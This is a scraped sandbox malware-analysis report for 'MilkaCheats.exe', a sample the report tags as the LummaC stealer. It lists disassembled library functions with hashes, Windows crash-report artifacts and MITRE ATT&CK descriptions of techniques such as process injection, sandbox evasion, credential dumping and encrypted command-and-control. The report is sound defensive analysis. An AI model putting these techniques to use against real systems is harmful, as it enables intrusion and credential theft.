Function 000C1F45 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000C1F51
int.LIBCPMT ref: 000C1F64

Part of subcall function 000C2B8B: std::_Lockit::_Lockit.LIBCPMT ref: 000C2B9C
Part of subcall function 000C2B8B: std::_Lockit::~_Lockit.LIBCPMT ref: 000C2BB6

std::_Facet_Register.LIBCPMT ref: 000C1F97
std::_Lockit::~_Lockit.LIBCPMT ref: 000C1FAD

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 02a86ce8fc958251eb98d799d5ba1bf8ebbd2511325b1dc2352d5b0a7d75269e
Instruction ID: d770544fac17eb7675886b48d27d83f9debf6e57d11a494c70409fe6c69ebdf3
Opcode Fuzzy Hash: 02a86ce8fc958251eb98d799d5ba1bf8ebbd2511325b1dc2352d5b0a7d75269e
Instruction Fuzzy Hash: B501F236900514ABCB14AB64C855FEE77A89F81360B61416CF805AB392EB30AE829BC0

Function 000C1FBE Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000C1FCA
int.LIBCPMT ref: 000C1FDD

Part of subcall function 000C2B8B: std::_Lockit::_Lockit.LIBCPMT ref: 000C2B9C
Part of subcall function 000C2B8B: std::_Lockit::~_Lockit.LIBCPMT ref: 000C2BB6

std::_Facet_Register.LIBCPMT ref: 000C2010
std::_Lockit::~_Lockit.LIBCPMT ref: 000C2026

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 947baed0e912d524da8ba966466b7badcb70bac832be8463aec11690f74acc20
Instruction ID: 6e71f8db4d73fb90455284d18d1c9f2ce7e7297b099d54a23d7326480c378543
Opcode Fuzzy Hash: 947baed0e912d524da8ba966466b7badcb70bac832be8463aec11690f74acc20
Instruction Fuzzy Hash: E601A776500514ABCB29AB54D945EDE77A8DF80360B20415EF901A7293DF30EF81C780

Function 000E1FD1 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,000DEFE9,00000000,00000001,00000000,00000000,?,000D67A7,00000000,00000000,00000000), ref: 000E1FE8
GetLastError.KERNEL32(?,000DEFE9,00000000,00000001,00000000,00000000,?,000D67A7,00000000,00000000,00000000,00000000,00000000,?,000D6D65,00000000), ref: 000E1FF4

Part of subcall function 000E1FBA: CloseHandle.KERNEL32(FFFFFFFE,000E2004,?,000DEFE9,00000000,00000001,00000000,00000000,?,000D67A7,00000000,00000000,00000000,00000000,00000000), ref: 000E1FCA

___initconout.LIBCMT ref: 000E2004

Part of subcall function 000E1F7C: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,000E1FAB,000DEFD6,00000000,?,000D67A7,00000000,00000000,00000000,00000000), ref: 000E1F8F

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,000DEFE9,00000000,00000001,00000000,00000000,?,000D67A7,00000000,00000000,00000000,00000000), ref: 000E2019

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f018bff0aab0de8cd26f4812f50fae75e535475801028f7050f6538da918f643
Instruction ID: e4f47221e9fa5df83b370973b294b61dc5e915f6fda26f514c606003f4b02811
Opcode Fuzzy Hash: f018bff0aab0de8cd26f4812f50fae75e535475801028f7050f6538da918f643
Instruction Fuzzy Hash: DCF0FE36401155BFCF121F92EC08A897E66EB49760B444020FA08A5172C6318CA0DB90

Function 000C9EA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 000C9EDF
__IsNonwritableInCurrentImage.LIBCMT ref: 000C9F93

Strings

csm, xrefs: 000C9F7D

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 4760746fac3c4e9f1025cd18633cf154bd483382996b60220e1f9b5cc390b365
Instruction ID: f29d506cc0b69bba429b6664c82de56fffc911181748d871885dcd8ee048a71b
Opcode Fuzzy Hash: 4760746fac3c4e9f1025cd18633cf154bd483382996b60220e1f9b5cc390b365
Instruction Fuzzy Hash: 8941B374A00218EBCF10DF69C889F9EBBE5AF45314F1481ADF815AB392D731DA46CB91

Function 000CA7AD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 000CA7D2

Strings

RCC, xrefs: 000CA7EC
MOC, xrefs: 000CA7E4

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2906cf196bfb5364fc3fdc47aac59e51d6ae56a88d34e5c5cfc10c9a93da397a
Instruction ID: 92ef26eb841235df4de8f5f6f77f2fe03e793d9a3080e1fdc25a80fb42669963
Opcode Fuzzy Hash: 2906cf196bfb5364fc3fdc47aac59e51d6ae56a88d34e5c5cfc10c9a93da397a
Instruction Fuzzy Hash: F2414531A0020DAFCF16DF94C881EEEBBB5FF49308F148069FA0467252D6359956DB62

Function 000C75A9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000C75B4
___raise_securityfailure.LIBCMT ref: 000C7671

Strings

q*, xrefs: 000C761F

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: q*
API String ID: 3761405300-3148377056
Opcode ID: 398951a827003c440b95bccbb8d5f10b7765c617d1ddc718b0e3a6464b570cb0
Instruction ID: 3db7cce7af20d54ad82b64fe12a53891a52588aab8726c7492887e312fd74d13
Opcode Fuzzy Hash: 398951a827003c440b95bccbb8d5f10b7765c617d1ddc718b0e3a6464b570cb0
Instruction Fuzzy Hash: 0111B9BC6106059FD715CF2AE8826413BB4FF4A310B90542AF8088BFB0E3B099C18F45

Function 000C235D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000C2364
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000C239C

Part of subcall function 000C61E0: _Yarn.LIBCPMT ref: 000C61FF
Part of subcall function 000C61E0: _Yarn.LIBCPMT ref: 000C6223

Strings

bad locale name, xrefs: 000C23AA

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: aa6efe0e5471c82ba776b35d10e5ef416b819394f8c4f4bfb845472738d119e9
Instruction ID: 3876e95829c3ccf2bcfe6006af5b724eefab0403db5c707a44f2de240725577a
Opcode Fuzzy Hash: aa6efe0e5471c82ba776b35d10e5ef416b819394f8c4f4bfb845472738d119e9
Instruction Fuzzy Hash: 94F03071505B909E83309F7A8481947FBE4BF293113948E2FE1DEC3A12D730E544CB6A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MilkaCheats.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MilkaCheats.exe_c2e8cd84136b88415cdd6f491f1eb232dba620bf_a9999437_fdaf37f7-0491-4405-b11e-478f369dae63\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF581.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF5FF.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF62F.tmp.xml

C:\Users\user\Desktop\static.lib

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
MilkaCheats.exe

Function 000C59D6 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 141
memoryfileCOMMON

Function 000E1228 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Function 000D6C97 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Function 000D6862 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 000D6085 Relevance: 2.6, APIs: 2, Instructions: 63
COMMONLIBRARYCODE

Function 000DA82C Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Function 000D8614 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Function 000E0EE1 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre